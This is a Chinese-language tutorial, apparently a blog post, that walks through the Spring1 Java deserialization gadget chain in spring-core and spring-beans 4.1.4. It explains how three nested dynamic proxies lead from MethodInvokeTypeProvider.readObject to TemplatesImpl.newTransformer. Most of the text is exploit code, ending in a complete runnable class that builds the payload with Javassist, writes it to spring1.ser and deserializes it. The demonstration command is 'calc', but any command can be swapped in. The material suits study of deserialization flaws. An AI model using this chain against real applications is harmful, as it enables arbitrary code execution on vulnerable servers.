Spring1原生反序列化链
Spring1原生链的依赖
<dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>4.1.4.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>4.1.4.RELEASE</version> </dependency>
|
Spring1链最终通过Templates类的newTransformer()方法动态加载恶意类执行命令,核心点在于前部分三层动态代理的嵌套使用,这里采用顺推
首先看入口类MethodInvokeTypeProvider,它是抽象类SerializableTypeWrapper下的静态类,其readObject()如下
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException { inputStream.defaultReadObject(); Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName); this.result = ReflectionUtils.invokeMethod(method, this.provider.getType()); }
|
我们的目标是method为"newTransformer",this.provider.getType()返回构造的Templates对象,那么provider肯定是一个代理对象了,问题是处理器得选谁,经过前面CC1的学习,AnnotationInvocationHandler类的invoke()方法可以做到返回特定的对象,那是否可以直接把Templates作为结果返回呢?不可以,因为getType()方法要求返回一个Type对象,直接返回Templates会转型失败报错,所以此处应再返一个代理对象,且代理对象实现了Type接口
ysoserial的源码告诉我们第二层代理的处理器应选择抽象类AutowriteUtils下的ObjectFactoryDelegatingInvocationHandler,它的invoke()方法如下
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { String methodName = method.getName(); if (methodName.equals("equals")) { return proxy == args[0]; } else if (methodName.equals("hashCode")) { return System.identityHashCode(proxy); } else if (methodName.equals("toString")) { return this.objectFactory.toString(); } else { try { return method.invoke(this.objectFactory.getObject(), args); } catch (InvocationTargetException ex) { throw ex.getTargetException(); } } }
|
由于method是从readObject()里传递的"newTransformer",也就是说readObject()并不是直接触发newTransformer()的方法,而是ObjectFactoryDelegatingInvocationHandler的invoke(),这个类的特别之处在于其invoke()方法中再一次调用了一个方法getObject(),并且触发的对象this.objectFactory是可控的。那么我们让this.objectFactory再次作为代理对象,处理器是AnnotationInvocationHandler,让其触发getObject()时返回真正的Templates即可,以下是前半部分的利用链
this.provider.getType() >$Proxy0.getType() >AnnotationInvocationHandler.invoke() >$Proxy1.newTransformer() >ObjectFactoryDelegatingInvocationHandler.invoke() >newTransformer.invoke(this.objectFactory.getObject(), null) >newTransformer.invoke($Proxy2.getObject(), null) >newTransformer.invoke(AnnotationInvocationHandler.invoke(), null) >newTransformer.invoke(Templates, null) >Templates.newTransformer()
|
接下来构造链,前面是构造动态加载恶意类和Templates
ClassPool pool = ClassPool.getDefault(); CtClass spring = pool.makeClass("spring"); CtClass superClass = pool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); spring.setSuperclass(superClass); CtConstructor constructor01 = spring.makeClassInitializer(); constructor01.setBody("Runtime.getRuntime().exec(\"calc\");"); byte[] bytes = spring.toBytecode();
TemplatesImpl templates = new TemplatesImpl(); Class<?> templatesClass = templates.getClass(); Field name = templatesClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "spring"); Field tfactory = templatesClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl()); Field bytecodes = templatesClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates, new byte[][]{bytes});
|
构造第一层代理,在调用getObject()方法时返回templates
Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor02 = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class); constructor02.setAccessible(true); HashMap<String, Object> map01 = new HashMap<>(); map01.put("getObject", templates); InvocationHandler handler01 = (InvocationHandler) constructor02.newInstance(Target.class, map01); ObjectFactory<?> proxy01 = (ObjectFactory<?>) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class<?>[]{ObjectFactory.class}, handler01);
|
构造第二层代理,在调用newTransformer()方法时去调用第一层代理的getObject()方法,故要让objectFactory属性为前面构造的handler01,并且该代理对象同时实现Type和Templates接口以满足返回值要求和newTransformer()方法的响应
Class<?> objectFactoryDelegatingInvocationHandler = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); Constructor<?> constructor03 = objectFactoryDelegatingInvocationHandler.getDeclaredConstructor(ObjectFactory.class); constructor03.setAccessible(true); InvocationHandler handler02 = (InvocationHandler) constructor03.newInstance(proxy01); Type proxy02 = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class<?>[]{Type.class, Templates.class}, handler02);
|
构造第三层代理,在调用getType()方法时返回proxy02,由于TypeProvider接口为包私有,需要先直接获取类,再传入,同时代理对象proxy03也是只能声明为Object类型
HashMap<String, Object> map02 = new HashMap<>(); map02.put("getType", proxy02); InvocationHandler handler03 = (InvocationHandler) constructor02.newInstance(Target.class, map02); Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"); Object proxy03 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class<?>[]{typeProviderClass}, handler03);
|
由于入口类是MethodInvokeTypeProvider,我们要创建该类实例,并让this.methodName为"newTransformer",构造器需要一个Method对象,先随便传,后面再通过反射修改
Class<?> methodInvokeTypeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); Constructor<?> constructor04 = methodInvokeTypeProviderClass.getDeclaredConstructors()[0]; constructor04.setAccessible(true); Object methodInvokeTypeProvider = constructor04.newInstance(proxy03, Object.class.getMethod("getClass"), 0); Field methodName = methodInvokeTypeProvider.getClass().getDeclaredField("methodName"); methodName.setAccessible(true); methodName.set(methodInvokeTypeProvider, "newTransformer");
|
至此,Spring1原生反序列化链构建完毕,全链如下
public class SpringSerialTest { public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault(); CtClass spring = pool.makeClass("spring"); CtClass superClass = pool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); spring.setSuperclass(superClass); CtConstructor constructor01 = spring.makeClassInitializer(); constructor01.setBody("Runtime.getRuntime().exec(\"calc\");"); byte[] bytes = spring.toBytecode();
TemplatesImpl templates = new TemplatesImpl(); Class<?> templatesClass = templates.getClass(); Field name = templatesClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "spring"); Field tfactory = templatesClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl()); Field bytecodes = templatesClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates, new byte[][]{bytes});
Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor02 = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class); constructor02.setAccessible(true); HashMap<String, Object> map01 = new HashMap<>(); map01.put("getObject", templates); InvocationHandler handler01 = (InvocationHandler) constructor02.newInstance(Target.class, map01); ObjectFactory<?> proxy01 = (ObjectFactory<?>) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class<?>[]{ObjectFactory.class}, handler01);
Class<?> objectFactoryDelegatingInvocationHandler = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); Constructor<?> constructor03 = objectFactoryDelegatingInvocationHandler.getDeclaredConstructor(ObjectFactory.class); constructor03.setAccessible(true); InvocationHandler handler02 = (InvocationHandler) constructor03.newInstance(proxy01); Type proxy02 = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class<?>[]{Type.class, Templates.class}, handler02);
HashMap<String, Object> map02 = new HashMap<>(); map02.put("getType", proxy02); InvocationHandler handler03 = (InvocationHandler) constructor02.newInstance(Target.class, map02); Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"); Object proxy03 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class<?>[]{typeProviderClass}, handler03);
Class<?> methodInvokeTypeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); Constructor<?> constructor04 = methodInvokeTypeProviderClass.getDeclaredConstructors()[0]; constructor04.setAccessible(true); Object methodInvokeTypeProvider = constructor04.newInstance(proxy03, Object.class.getMethod("getClass"), 0); Field methodName = methodInvokeTypeProvider.getClass().getDeclaredField("methodName"); methodName.setAccessible(true); methodName.set(methodInvokeTypeProvider, "newTransformer");
serialize(methodInvokeTypeProvider);
}
public static void serialize(Object object) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("spring1.ser"))); oos.writeObject(object); }
@Test public void deserialize() throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("spring1.ser"))); ois.readObject(); } }
|